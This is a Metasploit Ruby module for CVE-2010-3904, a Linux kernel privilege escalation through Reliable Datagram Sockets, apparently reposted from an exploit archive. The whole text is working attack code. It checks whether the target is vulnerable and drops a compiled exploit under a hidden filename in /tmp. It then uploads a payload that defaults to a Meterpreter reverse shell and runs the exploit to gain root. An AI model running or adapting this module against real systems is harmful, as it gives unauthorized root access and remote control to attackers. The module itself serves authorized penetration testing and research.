Reliable Datagram Sockets (RDS) Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in the rds_page_copy_user function  
in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8  
to execute code as root (CVE-2010-3904).  
  
This module has been tested successfully on Fedora 13 (i686) with  
kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64)  
with kernel version 2.6.32-21-generic.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dan Rosenberg', # Discovery and C exploit  
'Brendan Coles' # Metasploit  
],  
'DisclosureDate' => 'Oct 20 2010',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'AKA', 'rds-fail.c' ],  
[ 'EDB', '15285' ],  
[ 'CVE', '2010-3904' ],  
[ 'BID', '44219' ],  
[ 'URL', 'https://securitytracker.com/id?1024613' ],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],  
[ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],  
[ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],  
[ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],  
],  
'DefaultOptions' =>  
{  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'WfsDelay' => 10,  
'PrependFork' => true  
},  
'DefaultTarget' => 0))  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def modules_disabled?  
modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip  
(modules_disabled.eql?('1') || modules_disabled.eql?('2'))  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
output = cmd_exec "gcc -o #{path} #{path}.c"  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile"  
end  
  
cmd_exec "chmod +x #{path}"  
register_file_for_cleanup path  
end  
  
def exploit_data(file)  
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file  
fd = ::File.open path, 'rb'  
data = fd.read fd.stat.size  
fd.close  
data  
end  
  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
version = kernel_release  
unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&  
Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')  
vprint_error "Linux kernel version #{version} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Linux kernel version #{version} appears to be vulnerable"  
  
unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'  
vprint_error 'RDS kernel module is not available'  
return CheckCode::Safe  
end  
vprint_good 'RDS kernel module is available'  
  
if modules_disabled?  
unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'  
vprint_error 'RDS kernel module is not loadable'  
return CheckCode::Safe  
end  
end  
vprint_good 'RDS kernel module is loadable'  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target is not vulnerable'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable  
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile executable_path, exploit_data('rds-fail.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
arch = kernel_hardware  
case arch  
when /amd64|ia64|x86_64|x64/i  
upload_and_chmodx executable_path, exploit_data('rds-fail.x64')  
when /x86|i[3456]86/  
upload_and_chmodx executable_path, exploit_data('rds-fail.x86')  
else  
fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"  
end  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit...'  
output = cmd_exec "#{executable_path} #{payload_path}"  
output.each_line { |line| vprint_status line.chomp }  
end  
end  
`